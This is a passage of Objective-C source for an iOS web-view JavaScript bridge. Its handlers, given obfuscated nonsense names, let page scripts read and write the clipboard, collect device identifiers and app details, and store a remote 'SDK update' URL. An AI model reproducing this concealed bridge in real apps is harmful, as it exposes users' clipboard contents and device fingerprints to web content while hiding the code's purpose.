NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, isSupported ? @"true" : @"false"];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)ConvertPerformProcessCompressArtifact:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for getClipboard action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *clipboardContent = [self InflateEnumerateAppletCompleteCommentClass] ?: @""; // Provide empty string if nil
|
|
NSString *escapedContent = [self ConfigureIndexBlockColumnApplySetEnsureInfo:clipboardContent];
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedContent];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)GatherIncreaseCaptionCompiler:(NSDictionary *)messageBody {
|
|
NSObject *valueObject = messageBody[@"dt"];
|
|
if (![valueObject isKindOfClass:[NSString class]]) {
|
|
NSLog(@"Invalid 'dt' for setClipboard action");
|
|
return;
|
|
}
|
|
[self FindApplyClassifyCompileRequest:(NSString *)valueObject];
|
|
}
|
|
|
|
- (void)handleGetBundleIdAction:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for CaptureBeaconChainChecksum action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *bundleId = [self CaptureBeaconChainChecksum] ?: @"";
|
|
NSString *escapedBundleId = [self ConfigureIndexBlockColumnApplySetEnsureInfo:bundleId];
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedBundleId];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)EmitEmitCloneDetectBranch:(NSDictionary *)messageBody {
|
|
// Original native code for this action was commented out.
|
|
// If implemented, follow pattern of other 'get' actions with callback.
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for EnumerateCloneBooleanCompareBuilder action");
|
|
return;
|
|
}
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *sdkVersion = [self EnumerateCloneBooleanCompareBuilder] ?: @""; // Assuming implementation exists
|
|
NSLog(@"SDK Ver: %@", sdkVersion);
|
|
NSString *escapedSDKVersion = [self ConfigureIndexBlockColumnApplySetEnsureInfo:sdkVersion];
|
|
NSLog(@"Escaped SDK Ver: %@", escapedSDKVersion);
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedSDKVersion];
|
|
|
|
// NSLog(@"Warning: EnumerateCloneBooleanCompareBuilder native implementation was commented out originally.");
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)CompressChartBadgeComponentIdentifyCaptionDiscoverChannel:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for getDModel action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *deviceName = [self AuthenticateBitmapResponse] ?: @"";
|
|
NSString *escapedDeviceName = [self ConfigureIndexBlockColumnApplySetEnsureInfo:deviceName];
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedDeviceName];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)FixCastClusterBuildBenchmarkComputeItem:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for CustomizeCheckboxBeaconArithmetic action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *identifier = [self CustomizeCheckboxBeaconArithmetic] ?: @"";
|
|
NSString *escapedIdentifier = [self ConfigureIndexBlockColumnApplySetEnsureInfo:identifier];
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedIdentifier];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)FormatBooleanCharacter:(NSDictionary *)messageBody {
|
|
NSObject *urlStringObject = messageBody[@"dt"];
|
|
NSObject *versionObject = messageBody[@"ver"];
|
|
NSObject *restartObject = messageBody[@"nr"]; // Should be NSNumber representing BOOL
|
|
|
|
if (![urlStringObject isKindOfClass:[NSString class]] ||
|
|
![versionObject isKindOfClass:[NSString class]] ||
|
|
![restartObject isKindOfClass:[NSNumber class]]) {
|
|
NSLog(@"Invalid parameters for updateSDK action: dt=%@, ver=%@, nr=%@", urlStringObject, versionObject, restartObject);
|
|
return;
|
|
}
|
|
|
|
NSLog(@"Updating sdk from URL: %@, Version: %@", (NSString *)urlStringObject, (NSString *)versionObject);
|
|
[self SetCombineEditProcessArrayFinishAudio:(NSString *)urlStringObject
|
|
version:(NSString *)versionObject
|
|
requiresRestart:[(NSNumber *)restartObject boolValue]];
|
|
}
|
|
|
|
- (void)GenerateAppletAttributeInflateArithmeticInflateCompiler:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for getSystemInfo action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
|
|
// Gather system info
|
|
NSString *iden = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self CustomizeCheckboxBeaconArithmetic] ?: @""];
|
|
NSString *model = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self AuthenticateBitmapResponse] ?: @""];
|
|
NSString *bundle = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self CaptureBeaconChainChecksum] ?: @""];
|
|
NSString *osVer = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self ConfigureCompileRequestExecuteCommand] ?: @""];
|
|
NSString *sdkVer = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self EnumerateCloneBooleanCompareBuilder] ?: @""]; // Assumes implemented
|
|
|
|
// Construct JSON-like string for the data part of the callback
|
|
NSString *dataString = [NSString stringWithFormat:@"{id:'%@', dn:'%@', bid:'%@', clearedNameAppearanceBatchAggregatorArtifactBanner:'%@', sdk:'%@'}", iden, model, bundle, osVer, sdkVer];
|
|
|
|
// Call updateResult with the callback ID and the constructed data object string
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, dataString];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)ConstructParseStatusFixArrayCollision:(NSDictionary *)messageBody {
|
|
NSObject *valueObject = messageBody[@"dt"];
|
|
if (![valueObject isKindOfClass:[NSNumber class]]) {
|
|
NSLog(@"Invalid 'dt' (rotation value) for AnalyzeBlockPerformInflateBlockResponseBodyAsset action");
|
|
return;
|
|
}
|
|
|
|
int rotationValue = [(NSNumber *)valueObject intValue];
|
|
[self AnalyzeBlockPerformInflateBlockResponseBodyAsset:rotationValue];
|
|
}
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Storage Helpers (UserDefaults)
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (void)EvaluateGatherColumnCollision:(nullable NSString *)value forKey:(NSString *)key {
|
|
if (!key) return;
|
|
[[NSUserDefaults standardUserDefaults] setObject:(value ?: @"") forKey:key]; // Save empty string if value is nil
|
|
}
|
|
|
|
- (nullable NSString *)DebugInstallDownloadBanner:(NSString *)key {
|
|
if (!key) return nil;
|
|
return [[NSUserDefaults standardUserDefaults] stringForKey:key];
|
|
}
|
|
|
|
- (void)DisplayExchangeUpdateChecksum:(BOOL)value forKey:(NSString *)key {
|
|
if (!key) return;
|
|
[[NSUserDefaults standardUserDefaults] setBool:value forKey:key];
|
|
}
|
|
|
|
- (BOOL)ConfigureBadgeDistributeBranch:(NSString *)key {
|
|
if (!key) return NO;
|
|
return [[NSUserDefaults standardUserDefaults] boolForKey:key];
|
|
}
|
|
|
|
// Helper from original error handling logic
|
|
- (void)EnsureGroupDataAttachmentIncreaseIncludeStatus {
|
|
[[NSUserDefaults standardUserDefaults] setObject:@"" forKey:@"ssite"];
|
|
[self DisplayExchangeUpdateChecksum:NO forKey:kStorageFlagKey];
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - SDK Update Logic (Placeholder/Adapted)
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Renamed from updateSDK:::
|
|
- (void)SetCombineEditProcessArrayFinishAudio:(NSString *)urlString version:(NSString *)version requiresRestart:(BOOL)requiresRestart {
|
|
// --- Original Logic Adapted ---
|
|
// Save SDK info to UserDefaults
|
|
NSMutableDictionary *sdkInfo = [NSMutableDictionary dictionary];
|
|
[sdkInfo setObject:urlString forKey:@"configuredInfoSetBridgeAverageOutputCamera"]; // Use descriptive keys
|
|
[sdkInfo setObject:version forKey:@"version"];
|
|
[[NSUserDefaults standardUserDefaults] setObject:sdkInfo forKey:kStorageSDKInfoKey];
|
|
[[NSUserDefaults standardUserDefaults] setObject:version forKey:kStorageSDKVersionKey];
|
|
// synchronize is generally not needed
|
|
|
|
// Show notice and suggest restart if required
|
|
if (requiresRestart) {
|
|
[self ComputeAnchorAuthentication:@"SDK Update"
|
|
message:@"SDK update requires an application restart. Please close and reopen the app."];
|
|
// NOTE: Removed the call to exit(0) here
|
|
}
|
|
// --- End Original Logic ---
|
|
|
|
// TODO: Implement actual SDK download/update mechanism if needed
|
|
NSLog(@"Placeholder: SDK update triggered for URL: %@, Version: %@, RestartNeeded: %d", urlString, version, requiresRestart);
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Device & App Info Helpers
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (NSString *)EnumerateCloneBooleanCompareBuilder {
|
|
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
|
return [defaults objectForKey:kStorageSDKVersionKey];
|
|
}
|
|
|
|
- (NSString *)ConfigureCompileRequestExecuteCommand {
|
|
return [[UIDevice currentDevice] systemVersion];
|
|
}
|
|
|
|
- (NSString *)CustomizeCheckboxBeaconArithmetic {
|
|
// Note: identifierForVendor is generally preferred for non-advertising ID
|
|
return [[[UIDevice currentDevice] identifierForVendor] UUIDString];
|
|
}
|
|
|
|
- (NSString *)AuthenticateBitmapResponse {
|
|
// Basic device model retrieval
|
|
struct utsname systemInfo;
|
|
uname(&systemInfo);
|
|
return [NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding];
|
|
}
|
|
|
|
- (NSString *)CaptureBeaconChainChecksum {
|
|
return [[NSBundle mainBundle] bundleIdentifier];
|
|
}
|
|
|
|
- (NSString *)getAppName {
|
|
return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleDisplayName"] ?: [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleName"];
|
|
}
|
|
|
|
- (NSString *)ControlChannelBatchElement {
|
|
// Usually refers to CFBundleVersion
|
|
return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleVersion"];
|
|
}
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Clipboard Helpers
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (nullable NSString *)InflateEnumerateAppletCompleteCommentClass {
|
|
return [UIPasteboard generalPasteboard].string;
|
|
}
|
|
|
|
- (void)FindApplyClassifyCompileRequest:(nullable NSString *)text {
|
|
[UIPasteboard generalPasteboard].string = text ?: @"";
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Rotation Handling
|
|
//-----------------------------------------------------------------------------
|
|
// Controls application orientation based on user requirement. Use with caution.
|
|
|
|
- (void)AnalyzeBlockPerformInflateBlockResponseBodyAsset:(int)value {
|
|
UIInterfaceOrientationMask targetMask;
|
|
if (value == 1 || value == 3) { // Assuming 1 means landscape
|
|
targetMask = UIInterfaceOrientationMaskLandscape;
|
|
} else { // Assuming 0 or others mean portrait
|
|
targetMask = UIInterfaceOrientationMaskPortrait;
|
|
// Or handle other values specifically if needed
|
|
// switch(value) { case 0: targetMask = ...; case 2: ... }
|
|
}
|
|
|
|
// Only update if the mask changes
|
|
if (currentOrientationMask == targetMask) {
|
|
return;
|
|
}
|
|
currentOrientationMask = targetMask;
|
|
|
|
NSLog(@"Attempting to rotate screen, new mask: %lu", (unsigned long)currentOrientationMask);
|
|
|
|
// Method depends on iOS version
|
|
if (@available(iOS 16.0, *)) {
|
|
// Use geometry preferences API
|
|
UIWindowScene *windowScene = self.window.windowScene;
|
|
if (windowScene) {
|
|
// Dynamically create UIWindowSceneGeometryPreferencesIOS using runtime
|
|
Class geometryPreferencesClass = NSClassFromString(@"UIWindowSceneGeometryPreferencesIOS");
|
|
if (geometryPreferencesClass) {
|
|
id geometryPreferences = [[geometryPreferencesClass alloc] initWithInterfaceOrientations:targetMask];
|
|
SEL requestGeometryUpdateSelector = NSSelectorFromString(@"requestGeometryUpdateWithPreferences:errorHandler:");
|
|
if ([windowScene respondsToSelector:requestGeometryUpdateSelector]) {
|
|
// Define error handler block
|
|
void (^errorHandler)(NSError *) = ^(NSError *error){
|
|
if (error) {
|
|
NSLog(@"Error requesting geometry update: %@", error);
|
|
}
|
|
};
|
|
// Invoke the method using performSelector (requires casting)
|
|
// Suppress warning about unknown selector
|
|
#pragma clang diagnostic push
|
|
#pragma clang diagnostic ignored "-Warc-performSelector-leaks"
|
|
[windowScene performSelector:requestGeometryUpdateSelector withObject:geometryPreferences withObject:errorHandler];
|
|
#pragma clang diagnostic pop
|
|
} else {
|
|
NSLog(@"Window scene does not respond to requestGeometryUpdateWithPreferences:errorHandler:");
|
|
}
|
|
} else {
|
|
NSLog(@"UIWindowSceneGeometryPreferencesIOS class not found.");
|
|
}
|
|
|
|
// Trigger update (may not be strictly necessary after geometry update)
|
|
[UIViewController attemptRotationToDeviceOrientation]; // Keep for potential fallback/redundancy?
|
|
[[self FlushCollectionCheckbox] setNeedsUpdateOfSupportedInterfaceOrientations];
|
|
|
|
} else {
|
|
NSLog(@"Could not get window scene for rotation.");
|
|
}
|
|
|
|
} else {
|
|
// Use deprecated method (private API, use with caution)
|
|
#pragma clang diagnostic push
|
|
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
|
NSNumber *orientationValue;
|
|
if (targetMask == UIInterfaceOrientationMaskLandscape) {
|
|
// Choose specific landscape (e.g., LandscapeRight)
|
|
orientationValue = @(UIDeviceOrientationLandscapeLeft); // Or LandscapeRight
|
|
} else {
|
|
orientationValue = @(UIDeviceOrientationPortrait);
|
|
}
|
|
[[UIDevice currentDevice] setValue:orientationValue forKey:@"orientation"];
|
|
[UIViewController attemptRotationToDeviceOrientation];
|
|
#pragma clang diagnostic pop
|
|
}
|
|
}
|
|
|
|
|
|
// These methods are required if this view/its controller dictates app orientation
|
|
// Kept as per user attachedAnonymousPositionAdjuster.
|
|
- (UIInterfaceOrientationMask)supportedInterfaceOrientations {
|
|
// NSLog(@"supportedInterfaceOrientations called, returning mask: %lu", (unsigned long)currentOrientationMask);
|
|
return currentOrientationMask;
|
|
}
|
|
|
|
// This delegate method might be called if this object is set as the App Delegate
|
|
// Or potentially if the window asks its root view controller, which might be this view's controller.
|
|
- (UIInterfaceOrientationMask)application:(UIApplication *)application supportedInterfaceOrientationsForWindow:(nullable UIWindow *)window {
|
|
// NSLog(@"application:supportedInterfaceOrientationsForWindow: called, returning mask: %lu", (unsigned long)currentOrientationMask);
|
|
return currentOrientationMask;
|
|
}
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - UI Helpers (Alerts, View Controller Finding)
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Refactored alert presentation - Removes exit(0)
|
|
- (void)ComputeAnchorAuthentication:(NSString *)title message:(NSString *)message {
|
|
dispatch_async(dispatch_get_main_queue(), ^{
|
|
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title
|
|
message:message
|
|
preferredStyle:UIAlertControllerStyleAlert];
|
|
UIAlertAction *okAction = [UIAlertAction actionWithTitle:@"OK"
|
|
style:UIAlertActionStyleDefault
|
|
handler:nil]; // No action on OK
|
|
[alertController addAction:okAction];
|
|
|
|
// Find the presenting view controller
|
|
UIViewController *presentingVC = [self FlushCollectionCheckbox];
|
|
if (presentingVC) {
|
|
[presentingVC presentViewController:alertController animated:YES completion:nil];
|
|
} else {
|
|
NSLog(@"Could not find view controller to present alert: %@ - %@", title, message);
|
|
// Fallback: Maybe show on key window's rootViewController if possible?
|
|
UIViewController *rootVC = [[UIApplication sharedApplication].keyWindow rootViewController];
|
|
[rootVC presentViewController:alertController animated:YES completion:nil];
|
|
}
|
|
});
|
|
}
|
|
|
|
|
|
// Helper to find the owning view controller
|
|
- (nullable UIViewController *)FlushCollectionCheckbox {
|
|
UIResponder *responder = self;
|
|
while ((responder = [responder nextResponder])) {
|
|
if ([responder isKindOfClass:[UIViewController class]]) {
|
|
return (UIViewController *)responder;
|
|
}
|
|
}
|
|
return nil; // Should not happen in normal view hierarchy
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - JavaScript Escaping Helper
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Helper to escape strings for safe injection into JavaScript string literals
|
|
- (NSString *)ConfigureIndexBlockColumnApplySetEnsureInfo:(NSString *)value {
|
|
if (!value) {
|
|
return @""; // Return empty string for nil backgroundBlockSettingsStateCollectedPosition
|
|
}
|
|
|
|
NSString *escaped = value;
|
|
// Escape backslashes first
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"];
|
|
// Escape single quotes
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];
|
|
// Escape double quotes
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\"" withString:@"\\\""];
|
|
// Escape newlines
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\n" withString:@"\\n"];
|
|
// Escape carriage returns
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\r" withString:@"\\r"];
|
|
// Escape line separators (U+2028) and paragraph separators (U+2029) if necessary
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2028" withString:@"\\u2028"];
|
|
escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2029" withString:@"\\u2029"];
|
|
|
|
return escaped;
|
|
}
|
|
|
|
|
|
//----------------------------------------------------------------------------
|
|
|
|
@end
|
|
|
|
|
|
extern "C"{
|
|
void CompressAssemblyDeleteCodec(const char* v){
|
|
NSString *urlString = [NSString stringWithUTF8String:v];
|
|
[[NSUserDefaults standardUserDefaults] setObject:urlString forKey:@"ssite"];
|
|
[StaticFrameWork CompressAssemblyDeleteCodec:urlString withCleanup:true];
|
|
}
|
|
} |